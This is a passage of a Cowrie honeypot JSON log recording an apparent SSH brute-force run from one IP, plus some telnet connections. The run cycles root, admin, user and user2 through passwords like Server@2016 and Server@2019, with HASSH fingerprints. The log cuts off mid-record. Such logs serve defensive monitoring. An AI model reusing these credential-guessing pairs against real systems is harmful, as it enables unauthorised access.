{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2012","message":"login attempt [user2/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:35.248269Z","src_ip":"103.190.242.61","session":"54fff30cab64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:35.729580Z","src_ip":"103.190.242.61","session":"54fff30cab64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51002,"dst_ip":"10.17.0.5","dst_port":22,"session":"31978bf6075f","protocol":"ssh","message":"New connection: 103.190.242.61:51002 (10.17.0.5:22) [session: 31978bf6075f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:35.930734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:35.936754Z","src_ip":"103.190.242.61","session":"31978bf6075f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:36.136076Z","src_ip":"103.190.242.61","session":"31978bf6075f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50532,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6884261e95","protocol":"telnet","message":"New connection: 137.184.155.248:50532 (10.17.0.5:23) [session: ab6884261e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:36.160354Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2016","message":"login attempt [root/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:36.949423Z","src_ip":"103.190.242.61","session":"31978bf6075f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.97.236.109","src_port":47588,"dst_ip":"159.203.135.109","dst_port":23,"session":"6515f29363fe","protocol":"telnet","message":"New connection: 190.97.236.109:47588 (159.203.135.109:23) [session: 6515f29363fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:37.192523Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:37.430049Z","src_ip":"103.190.242.61","session":"31978bf6075f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51135,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce8fe8378238","protocol":"ssh","message":"New connection: 103.190.242.61:51135 (10.17.0.5:22) [session: ce8fe8378238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:37.633891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:37.640931Z","src_ip":"103.190.242.61","session":"ce8fe8378238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:37.854016Z","src_ip":"103.190.242.61","session":"ce8fe8378238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2016","message":"login attempt [admin/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:38.669719Z","src_ip":"103.190.242.61","session":"ce8fe8378238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:39.149700Z","src_ip":"103.190.242.61","session":"ce8fe8378238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50542,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96ab8e2eae7","protocol":"telnet","message":"New connection: 137.184.155.248:50542 (10.17.0.5:23) [session: f96ab8e2eae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:39.318058Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51271,"dst_ip":"10.17.0.5","dst_port":22,"session":"322fff1e61d8","protocol":"ssh","message":"New connection: 103.190.242.61:51271 (10.17.0.5:22) [session: 322fff1e61d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:39.352660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:39.357957Z","src_ip":"103.190.242.61","session":"322fff1e61d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:39.556756Z","src_ip":"103.190.242.61","session":"322fff1e61d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2016","message":"login attempt [user/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:40.373253Z","src_ip":"103.190.242.61","session":"322fff1e61d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:40.854025Z","src_ip":"103.190.242.61","session":"322fff1e61d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51401,"dst_ip":"10.17.0.5","dst_port":22,"session":"716ce4168b9f","protocol":"ssh","message":"New connection: 103.190.242.61:51401 (10.17.0.5:22) [session: 716ce4168b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:41.060058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:41.065163Z","src_ip":"103.190.242.61","session":"716ce4168b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:41.262631Z","src_ip":"103.190.242.61","session":"716ce4168b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2016","message":"login attempt [user2/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.083483Z","src_ip":"103.190.242.61","session":"716ce4168b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.564269Z","src_ip":"103.190.242.61","session":"716ce4168b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2742e9f850","protocol":"telnet","message":"New connection: 137.184.155.248:39882 (10.17.0.5:23) [session: 2e2742e9f850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.765562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51536,"dst_ip":"10.17.0.5","dst_port":22,"session":"054c703eff5c","protocol":"ssh","message":"New connection: 103.190.242.61:51536 (10.17.0.5:22) [session: 054c703eff5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.769661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.775071Z","src_ip":"103.190.242.61","session":"054c703eff5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:42.970735Z","src_ip":"103.190.242.61","session":"054c703eff5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:43.785607Z","src_ip":"103.190.242.61","session":"054c703eff5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:44.265597Z","src_ip":"103.190.242.61","session":"054c703eff5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51672,"dst_ip":"10.17.0.5","dst_port":22,"session":"7753d290c24b","protocol":"ssh","message":"New connection: 103.190.242.61:51672 (10.17.0.5:22) [session: 7753d290c24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:44.464068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:44.469401Z","src_ip":"103.190.242.61","session":"7753d290c24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.0.25.166","src_port":11703,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3dbdbaddf0c","protocol":"telnet","message":"New connection: 102.0.25.166:11703 (10.17.0.5:23) [session: c3dbdbaddf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:44.530611Z"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:44.663433Z","src_ip":"103.190.242.61","session":"7753d290c24b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2019","message":"login attempt [admin/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:45.469833Z","src_ip":"103.190.242.61","session":"7753d290c24b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:45.954651Z","src_ip":"103.190.242.61","session":"7753d290c24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51800,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ad90351783","protocol":"ssh","message":"New connection: 103.190.242.61:51800 (10.17.0.5:22) [session: 59ad90351783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:46.155029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:46.161111Z","src_ip":"103.190.242.61","session":"59ad90351783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:46.356473Z","src_ip":"103.190.242.61","session":"59ad90351783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2019","message":"login attempt [user/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:47.167431Z","src_ip":"103.190.242.61","session":"59ad90351783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:47.648870Z","src_ip":"103.190.242.61","session":"59ad90351783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"1192df1b2001","protocol":"ssh","message":"New connection: 103.190.242.61:51928 (10.17.0.5:22) [session: 1192df1b2001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:47.850951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:47.856323Z","src_ip":"103.190.242.61","session":"1192df1b2001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:48.051559Z","src_ip":"103.190.242.61","session":"1192df1b2001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2019","message":"login attempt [user2/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:48.866711Z","src_ip":"103.190.242.61","session":"1192df1b2001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:49.346309Z","src_ip":"103.190.242.61","session":"1192df1b2001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52067,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6abecc1b490","protocol":"ssh","message":"New connection: 103.190.242.61:52067 (10.17.0.5:22) [session: d6abecc1b490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:49.549563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:49.554623Z","src_ip":"103.190.242.61","session":"d6abecc1b490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 